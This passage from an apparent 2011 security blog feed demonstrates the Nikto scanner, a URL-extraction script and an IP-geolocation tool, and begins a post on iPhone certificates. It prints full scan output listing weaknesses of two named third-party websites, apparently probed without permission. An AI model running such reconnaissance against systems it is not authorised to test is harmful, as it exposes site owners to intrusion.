href="http://cirt.net/nikto2"&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;&lt;a target="_blank"&gt;Nikto&lt;/a&gt;&lt;/strong&gt; es un escáner de directorios y archivos potencialmente sensibles en servidores Web. La base de datos de estos archivos y directorios contenida en la herramienta Nikto supera las 6100 entradas. Incluye además métodos y firmas de varios servidores y versiones de aplicativos web, con el fin de determinar el grado de desactualización de estos.&lt;/p&gt;&lt;br /&gt;        &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 0.79in }   P { margin-bottom: 0.08in }  --&gt;  &lt;/style&gt;  &lt;p style="margin-bottom: 0in"&gt;La versión actual es &lt;a href="https://cirt.net/nikto/nikto-2.1.4.tar.bz2"&gt;2.1.4&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;        &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 0.79in }   P { margin-bottom: 0.08in }   A:link { so-language: zxx }  --&gt;  &lt;/style&gt;  &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;Implementación y funcionamiento:  &lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-style: italic;"&gt;Descargar Nikto:  &lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;$wget &lt;a href="https://cirt.net/nikto/nikto-2.1.4.tar.bz2"&gt;https://cirt.net/nikto/nikto-2.1.4.tar.bz2&lt;/a&gt;&lt;/span&gt; &lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-style: italic;"&gt;Descomprimir el paquete descargado:  &lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;$ tar xvfj nikto-2.1.4.tar.bz2&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-style: italic;"&gt;Ejecucion y funcionamiento:  &lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;$cd nikto-2.1.4&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt;$ ./nikto.pl -h http://www.deoccidente.com/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);font-size:85%;" &gt;- ***** SSL support not available (see docs for SSL install) *****&lt;br /&gt;- Nikto v2.1.4&lt;br /&gt;---------------------------------------------------------------------------&lt;br /&gt;+ Target IP:          72.29.92.150&lt;br /&gt;+ Target Hostname:    www.deoccidente.com&lt;br /&gt;+ Target Port:        80&lt;br /&gt;+ Start Time:         2011-10-21 23:55:30&lt;br /&gt;---------------------------------------------------------------------------&lt;br /&gt;+ Server: Apache/2.2.20 (Unix) mod_ssl/2.2.20 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635&lt;br /&gt;+ Retrieved x-powered-by header: PHP/5.2.17&lt;br /&gt;+ No CGI Directories found (use '-C all' to force check all possible dirs)&lt;br /&gt;+ robots.txt contains 35 entries which should be manually viewed.&lt;br /&gt;+ Number of sections in the version string differ from those in the database, the server reports: openssl/0.9.8e-fips-rhel5 while the database has: 1.0.0.100. This may cause false positives.&lt;br /&gt;+ OpenSSL/0.9.8e-fips-rhel5 appears to be outdated (current is at least 1.0.0d). OpenSSL 0.9.8r is also current.&lt;br /&gt;+ mod_ssl/2.2.20 appears to be outdated (current is at least 2.8.31) (may depend on server version)&lt;br /&gt;+ FrontPage/5.0.2.2635 appears to be outdated (current is at least 5.0.4.3) (may depend on server version)&lt;br /&gt;+ ETag header found on server, inode: 48835523, size: 698, mtime: 0x49ec8ab558900&lt;br /&gt;+ Multiple index files found: index.php, index.html,&lt;br /&gt;+ DEBUG HTTP verb may show server debugging information. See http://msdn.microsoft.com/en-us/library/e8z01xdh%28VS.80%29.aspx for details.&lt;br /&gt;+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST&lt;br /&gt;+ FrontPage - http://www.insecure.org/sploits/Microsoft.frontpage.insecurities.html                                                                &lt;br /&gt;+ mod_ssl/2.2.20 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell (difficult to exploit). CVE-2002-0082, OSVDB-756.                                        &lt;br /&gt;+ OSVDB-9392: /userinfo.php?uid=1;: Xoops portal gives detailed error messages including SQL syntax and may allow an exploit.                      &lt;br /&gt;+ OSVDB-3268: /web/: Directory indexing found.                                                                                                     &lt;br /&gt;+ OSVDB-12184: /index.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.                                                                                                                        &lt;br /&gt;+ OSVDB-3092: /forum/: This might be interesting...                                                                                                &lt;br /&gt;+ OSVDB-3268: /imagenes/: Directory indexing found.                                                                                                &lt;br /&gt;+ OSVDB-3092: /imagenes/: This might be interesting...                                                                                             &lt;br /&gt;+ OSVDB-3268: /includes/: Directory indexing found.                                                                                                &lt;br /&gt;+ OSVDB-3092: /includes/: This might be interesting...                                                                                             &lt;br /&gt;+ OSVDB-3268: /misc/: Directory indexing found.                                                                                                    &lt;br /&gt;+ OSVDB-3092: /misc/: This might be interesting...                                                                                                 &lt;br /&gt;+ OSVDB-3092: /new/: This might be interesting...                                                                                                  &lt;br /&gt;+ OSVDB-3268: /prueba/: Directory indexing found.                                                                                                  &lt;br /&gt;+ OSVDB-3092: /prueba/: This might be interesting...                                                                                               &lt;br /&gt;+ OSVDB-3092: /user/: This might be interesting...                                                                                                 &lt;br /&gt;+ OSVDB-3092: /web/: This might be interesting...                                                                                                  &lt;br /&gt;+ OSVDB-3092: /img-sys/: Default image directory should not allow directory listing.                                                               &lt;br /&gt;+ OSVDB-3092: /java-sys/: Default Java directory should not allow directory listing.&lt;br /&gt;+ OSVDB-3268: /scripts/: Directory indexing found.&lt;br /&gt;+ OSVDB-3092: /UPGRADE.txt: Default file found.&lt;br /&gt;+ OSVDB-3092: /LICENSE.txt: License file found may identify site software.&lt;br /&gt;+ OSVDB-3092: /xmlrpc.php: xmlrpc.php was found.&lt;br /&gt;+ OSVDB-3233: /INSTALL.mysql.txt: Drupal installation file found.&lt;br /&gt;+ OSVDB-3233: /INSTALL.pgsql.txt: Drupal installation file found.&lt;br /&gt;+ OSVDB-3268: /sites/: Directory indexing found.&lt;br /&gt;+ 6448 items checked: 31 error(s) and 36 item(s) reported on remote host&lt;br /&gt;+ End Time:           2011-10-22 00:38:01 (2551 seconds)&lt;br /&gt;---------------------------------------------------------------------------&lt;br /&gt;+ 1 host(s) tested&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;        &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 0.79in }   P { margin-bottom: 0.08in }  --&gt;  &lt;/style&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;span style="font-weight: bold;"&gt;NOTA: &lt;/span&gt;Nikto es un escáner web que permite recolectar información sobre como esta tu website.  &lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;span id="result_box" class="" lang="es"&gt;&lt;span class="hps"&gt;Aquí están algunas de&lt;/span&gt; &lt;span class="hps"&gt;las características principales de&lt;/span&gt; &lt;span class="hps"&gt;Nikto&lt;/span&gt;&lt;span class=""&gt;.&lt;/span&gt; &lt;span class="hps"&gt;Consulte la &lt;a href="http://cirt.net/nikto2-docs/"&gt;documentación&lt;/a&gt;&lt;/span&gt; &lt;span class="hps"&gt;para obtener una lista&lt;/span&gt; &lt;span class="hps"&gt;completa de características y&lt;/span&gt; &lt;span class="hps"&gt;cómo usarlos&lt;/span&gt;&lt;span class=""&gt;.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;SSL Support (Unix with OpenSSL or maybe Windows with ActiveState's&lt;br /&gt;Perl/NetSSL) &lt;/li&gt;&lt;li&gt;Full HTTP proxy support&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Checks for outdated server components&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Save reports in plain text, XML, HTML, NBE or CSV &lt;/li&gt;&lt;li&gt;Template engine to easily customize reports &lt;/li&gt;&lt;li&gt;Scan multiple ports on a server, or multiple servers via input file (including nmap output)&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.wiretrip.net/rfp/lw.asp"&gt;LibWhisker&lt;/a&gt;'s IDS encoding techniques &lt;/li&gt;&lt;li&gt;Easily updated via command line&lt;/li&gt;&lt;li&gt;Identifies installed software via headers, favicons and files&lt;/li&gt;&lt;li&gt;Host authentication with Basic and NTLM&lt;/li&gt;&lt;li&gt;Subdomain guessing&lt;/li&gt;&lt;li&gt;Apache and cgiwrap username enumeration&lt;/li&gt;&lt;li&gt;Mutation techniques to "fish" for content on web servers&lt;/li&gt;&lt;li&gt;Scan tuning to include or exclude entire classes of vulnerability&lt;br /&gt;checks &lt;/li&gt;&lt;li&gt;Guess credentials for authorization realms (including many default id/pw combos)&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Authorization guessing handles any directory, not just the root&lt;br /&gt;directory &lt;/li&gt;&lt;li&gt;Enhanced false positive reduction via multiple methods: headers,&lt;br /&gt;page content, and content hashing &lt;/li&gt;&lt;li&gt;A "single" scan mode that allows you to craft an HTTP request by&lt;br /&gt;hand &lt;/li&gt;&lt;li&gt;Reports "unusual" headers seen&lt;/li&gt;&lt;li&gt;Interactive status, pause and changes to verbosity settings&lt;/li&gt;&lt;li&gt;Logging to &lt;a href="http://www.metasploit.com/"&gt;Metasploit&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Thorough &lt;a href="http://cirt.net/nikto2-docs/"&gt;documentation&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Espero les guste y les funcione ....&lt;br /&gt;&lt;br /&gt;Gracias ...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3152879559065474295-2317505054849880332?l=x1nux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://x1nux.blogspot.com/feeds/2317505054849880332/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://x1nux.blogspot.com/2011/10/nikto-escaner-de-vulnerabilidades-en.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/2317505054849880332'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/2317505054849880332'/><link rel='alternate' type='text/html' href='http://x1nux.blogspot.com/2011/10/nikto-escaner-de-vulnerabilidades-en.html' title='Nikto - Escaner de vulnerabilidades en servidores web'/><author><name>x1nux</name><uri>http://www.blogger.com/profile/16559278325370614240</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-Dn4OuGE-4sY/TqD4XBmGh8I/AAAAAAAABYE/vUinOYRdOwE/s72-c/nikto.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3152879559065474295.post-1795030905459899219</id><published>2011-10-19T23:24:00.000-07:00</published><updated>2011-10-19T23:37:56.529-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tools'/><category scheme='http://www.blogger.com/atom/ns#' term='Training'/><category scheme='http://www.blogger.com/atom/ns#' term='Research'/><category scheme='http://www.blogger.com/atom/ns#' term='Tricks'/><category scheme='http://www.blogger.com/atom/ns#' term='Manuals'/><title type='text'>Tool: List-Urls.py</title><content type='html'>&lt;p style="text-align: justify;"&gt;&lt;a href="http://pastebin.com/EbB4micK" target="_blank"&gt;&lt;strong&gt;List-Urls.py&lt;/strong&gt;&lt;/a&gt; is a python script developed by muts [at] whitehat.co.il,  &lt;span id="result_box" class="" lang="en"&gt;&lt;span class="hps"&gt;allow us to&lt;/span&gt; &lt;span class="hps"&gt;extract the&lt;/span&gt; &lt;span class="hps"&gt;links from a&lt;/span&gt; &lt;span class="hps"&gt;certain web page&lt;/span&gt; &lt;span class="hps"&gt;in order to&lt;/span&gt; &lt;span class="hps"&gt;gather information&lt;/span&gt; &lt;span class="hps"&gt;about a system.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;&lt;span style="font-weight: bold;font-size:180%;" &gt;Implementation: &lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;&lt;span style="font-weight: bold;"&gt;Download file:&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;http://pastebin.com/EbB4micK&lt;/p&gt;&lt;p style="text-align: justify;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="text-align: justify; font-weight: bold;"&gt;&lt;span&gt;G&lt;/span&gt;&lt;span id="result_box" class="short_text" lang="en"&gt;&lt;span class="hps"&gt;ive&lt;/span&gt; &lt;span class="hps"&gt;execute permissions:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="text-align: justify; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;$chmod 755 list-urls.py&lt;/span&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;&lt;span style="font-weight: bold;"&gt;Real test Using a URL&lt;/span&gt;:&lt;br /&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;&lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt;$ ./url-list.py http://www.kazak.com.co&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);font-size:85%;" &gt;&lt;br /&gt;##########################################################&lt;br /&gt;#                                                       #&lt;br /&gt;#            Extract URLS from a web page               #&lt;br /&gt;#               muts@whitehat.co.il                     #&lt;br /&gt;#                                                       #&lt;br /&gt;##########################################################&lt;br /&gt;&lt;br /&gt;/index.php?option=com_content&amp;amp;view=frontpage&amp;amp;Itemid=57&amp;amp;lang=es&lt;br /&gt;/index.php?option=com_content&amp;amp;view=article&amp;amp;id=44&amp;amp;Itemid=29&amp;amp;lang=es&lt;br /&gt;/index.php?option=com_content&amp;amp;view=article&amp;amp;id=66&amp;amp;Itemid=83&amp;amp;lang=es&lt;br /&gt;/index.php?option=com_wrapper&amp;amp;view=wrapper&amp;amp;Itemid=84&amp;amp;lang=es&lt;br /&gt;/index.php?option=com_contact&amp;amp;view=category&amp;amp;catid=12&amp;amp;Itemid=55&amp;amp;lang=es&lt;br /&gt;/index.php?option=com_content&amp;amp;view=frontpage&amp;amp;Itemid=1&amp;amp;lang=es&lt;br /&gt;/index.php?option=com_content&amp;amp;view=article&amp;amp;id=44&amp;amp;Itemid=27&amp;amp;lang=es&lt;br /&gt;/index.php?option=com_content&amp;amp;view=article&amp;amp;id=66&amp;amp;Itemid=2&amp;amp;lang=es&lt;br /&gt;/index.php?option=com_content&amp;amp;view=article&amp;amp;id=51&amp;amp;Itemid=37&amp;amp;lang=es&lt;br /&gt;/index.php?option=com_content&amp;amp;view=article&amp;amp;id=52&amp;amp;Itemid=41&amp;amp;lang=es&lt;br /&gt;/index.php?option=com_content&amp;amp;view=article&amp;amp;id=54&amp;amp;Itemid=65&amp;amp;lang=es&lt;br /&gt;/index.php?option=com_content&amp;amp;view=article&amp;amp;id=58&amp;amp;Itemid=69&amp;amp;lang=es&lt;br /&gt;http://kazak.com.co/file/ArchivosVarios/CertificacionISO.pdf&lt;br /&gt;http://www2.clustrmaps.com/counter/maps.php?url=http://www.kazak.com.co&lt;br /&gt;http://www.facebook.com/pages/Soluciones-Kazak-Ltda/139063679431&lt;br /&gt;/index.php?view=article&amp;amp;catid=38%3Atelecomunicaciones&amp;amp;id=50%3Avoz-sobre-ip&amp;amp;format=pdf&amp;amp;lang=es&lt;br /&gt;/index.php?view=article&amp;amp;catid=38%3Atelecomunicaciones&amp;amp;id=50%3Avoz-sobre-ip&amp;amp;tmpl=component&amp;amp;print=1&amp;amp;layout=default&amp;amp;page=&amp;amp;lang=es&lt;br /&gt;/index.php?option=com_mailto&amp;amp;tmpl=component&amp;amp;link=aHR0cDovL3d3dy5rYXphay5jb20uY28vaW5kZXgucGhwP29wdGlvbj1jb21fY29udGVudCZ2aWV3PWFydGljbGUmaWQ9NTAlM0F2b3otc29icmUtaXAmY2F0aWQ9MzglM0F0ZWxlY29tdW5pY2FjaW9uZXMmSXRlbWlkPTYxJmxhbmc9ZXM%3D&amp;amp;lang=es&lt;br /&gt;/index.php?option=com_contact&amp;amp;view=contact&amp;amp;id=1%3Acali&amp;amp;catid=12%3Acontacts&amp;amp;Itemid=55&amp;amp;lang=es&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;&lt;span id="result_box" class="" lang="en"&gt;&lt;span class="hps"&gt;This script is very&lt;/span&gt; &lt;span class="hps"&gt;useful for&lt;/span&gt; &lt;span class="hps"&gt;gathering information from&lt;/span&gt; &lt;span class="hps"&gt;a&lt;/span&gt; &lt;span class="hps"&gt;site.&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;&lt;span id="result_box" class="short_text" lang="en"&gt;&lt;span class="hps"&gt;I hope you like ... Thks !! bye !&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span id="result_box" class="" lang="en"&gt;&lt;span class="hps"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;&lt;span id="result_box" class="" lang="en"&gt;&lt;span class="hps"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3152879559065474295-1795030905459899219?l=x1nux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://x1nux.blogspot.com/feeds/1795030905459899219/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://x1nux.blogspot.com/2011/10/tool-list-urlspy.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/1795030905459899219'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/1795030905459899219'/><link rel='alternate' type='text/html' href='http://x1nux.blogspot.com/2011/10/tool-list-urlspy.html' title='Tool: List-Urls.py'/><author><name>x1nux</name><uri>http://www.blogger.com/profile/16559278325370614240</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3152879559065474295.post-4711337999573324249</id><published>2011-10-19T22:58:00.000-07:00</published><updated>2011-10-19T23:30:19.277-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Geoedge'/><category scheme='http://www.blogger.com/atom/ns#' term='Tools'/><category scheme='http://www.blogger.com/atom/ns#' term='Training'/><category scheme='http://www.blogger.com/atom/ns#' term='Research'/><category scheme='http://www.blogger.com/atom/ns#' term='Tricks'/><category scheme='http://www.blogger.com/atom/ns#' term='Manuals'/><title type='text'>Tool: Geoedge IP Location.</title><content type='html'>&lt;span style="font-weight: bold;"&gt;Geoedge&lt;/span&gt;, is a little tool to help identify the location of an IP, via services like Maxmind and GeoIpTool. It's simple and can help you when you need to identify the source of an ip fast and from the commandline.  Now it provides links to Google Maps and Mapquest, with the IP location.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:180%;" &gt;Implementation: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step #1:&lt;span style="font-style: italic;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;"Download Python Script" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="color: rgb(204, 0, 0);"&gt; $wget http://www.edge-security.com/soft/geoedge.py&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step #2:&lt;/span&gt; &lt;span style="font-style: italic;"&gt;"Run it"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt; $python geoedge.py &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);font-size:85%;" &gt;*************************************&lt;br /&gt;*Geoedge         v0.2               *&lt;br /&gt;*Coded by Christian Martorella      *&lt;br /&gt;*cmartorella@edge-security.com      *&lt;br /&gt;*************************************&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Usage:&lt;br /&gt;     python geoedge.py host/ip&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step #3:&lt;/span&gt; &lt;span style="font-style: italic;"&gt;"Real test"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);font-size:85%;" &gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;$python geoedge.py www.parquesoft.com&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;*************************************&lt;br /&gt;*Geoedge         v0.2               *&lt;br /&gt;*Coded by Christian Martorella      *&lt;br /&gt;*cmartorella@edge-security.com      *&lt;br /&gt;*************************************&lt;br /&gt;&lt;br /&gt;Searching in Maxmind....&lt;br /&gt;&lt;br /&gt;Information for www.parquesoft.com by Maxmind&lt;br /&gt;===========================================&lt;br /&gt;&lt;br /&gt;IP/Host: www.parquesoft.com&lt;br /&gt;Connection error...&lt;br /&gt;&lt;br /&gt;Searching in Geoiptool....&lt;br /&gt;&lt;br /&gt;Information by Geoiptool&lt;br /&gt;========================&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;IP/Host: &lt;/span&gt;209.239.124.177&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Country:  &lt;/span&gt;United States ,US (USA)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;City: &lt;/span&gt;Missouri,Saint Louis&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Coordinates:&lt;/span&gt; 38.6312,-90.1922  &lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Note:&lt;/span&gt; This is a small script to ip location and is a good  tool to get information.&lt;br /&gt;&lt;br /&gt;That's all&lt;br /&gt;&lt;br /&gt;Thks !&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3152879559065474295-4711337999573324249?l=x1nux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://x1nux.blogspot.com/feeds/4711337999573324249/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://x1nux.blogspot.com/2011/10/tool-geoedge-ip-location.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/4711337999573324249'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/4711337999573324249'/><link rel='alternate' type='text/html' href='http://x1nux.blogspot.com/2011/10/tool-geoedge-ip-location.html' title='Tool: Geoedge IP Location.'/><author><name>x1nux</name><uri>http://www.blogger.com/profile/16559278325370614240</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3152879559065474295.post-5590565833195038994</id><published>2011-10-19T12:48:00.000-07:00</published><updated>2011-10-19T12:55:33.935-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SSL'/><category scheme='http://www.blogger.com/atom/ns#' term='Training'/><category scheme='http://www.blogger.com/atom/ns#' term='Iphone'/><category scheme='http://www.blogger.com/atom/ns#' term='Research'/><category scheme='http://www.blogger.com/atom/ns#' term='Tricks'/><category scheme='http://www.blogger.com/atom/ns#' term='Safari'/><category scheme='http://www.blogger.com/atom/ns#' term='Manuals'/><title type='text'>Instalar certificados .p12 en Iphone 3gs Safari</title><content type='html'>&lt;style type="text/css"&gt;  &lt;!--   @page { margin: 0.79in }   P { margin-bottom: 0.08in }  --&gt;&lt;/style&gt;&lt;span style="font-weight: bold;"&gt;Que es un certificado P12 ?? &lt;/span&gt; &lt;p style="margin-bottom: 0in"&gt;Los certificados P12 se utilizan para la seguridad y firmas de email y navegación por browsers “Navegadores”. Estos son identificaciones electrónicas del usuario. Cada certificado contiene una llave electrónica que tiene como propósito el intercambio seguro de información en redes. Una de las funciones primarias de el certificado p12 es encriptar correos electrónicos y la navegación por web.  &lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style="font-weight: bold;"&gt;Para que agregar un Certificado P12 a un navegador ?? &lt;/span&gt; &lt;p style="margin-bottom: 0in"&gt;Se agregan para asegurar  la navegación entre el cliente “Firefox, Chrome o Safari”, y el servidor web.&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;En nuestro caso, solo el cliente que posea el certificado P12, puede acceder al sitio web; los clientes que no lo tengan, no podrán acceder.  &lt;/p&gt;   &lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;Como Hacerlo en el Safari de mi Iphone 3Gs ?&lt;/p&gt;  &lt;p style="margin-bottom: 0in;"&gt;Luego de entrar por SSH, y buscar dentro de la carpeta del navegador safari;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt; Luego de buscar dentro de el Icono ajustes del Iphone;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;y por ultimo buscar en Internet,    !!! No encontré como hacerlo. !!!!&lt;br /&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;Solución:  &lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt;Pero !! al mandar el archivo P12 adjunto en un email, y luego abrir el Email desde el Iphone, e intentar abrir el Adjunto, Sale un programa que dice "&lt;span style="font-weight: bold;"&gt;Instalar Perfil&lt;/span&gt; "  lo cual di Touch en “&lt;span style="font-weight: bold;"&gt;Instalar&lt;/span&gt;” Luego pidió el password del certificado P12, lo ingrese y ahora ya tengo acceso al sitio web.   &lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;ScreenShots&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-HdjW2Dy6WVA/Tp8qXpcnJ9I/AAAAAAAABXE/IIMeXSxSCJE/s1600/cert1.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 214px; height: 320px;" src="http://3.bp.blogspot.com/-HdjW2Dy6WVA/Tp8qXpcnJ9I/AAAAAAAABXE/IIMeXSxSCJE/s320/cert1.png" alt="" id="BLOGGER_PHOTO_ID_5665293442006591442" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-QkubfnTr468/Tp8qoETsiMI/AAAAAAAABXQ/oRDx505kVmE/s1600/cert2.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 214px; height: 320px;" src="http://2.bp.blogspot.com/-QkubfnTr468/Tp8qoETsiMI/AAAAAAAABXQ/oRDx505kVmE/s320/cert2.png" alt="" id="BLOGGER_PHOTO_ID_5665293724094859458" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-oO5YK2MQH0k/Tp8qysa2ItI/AAAAAAAABXc/TSQmQ7XiKrA/s1600/cert3.png"&gt;&lt;img 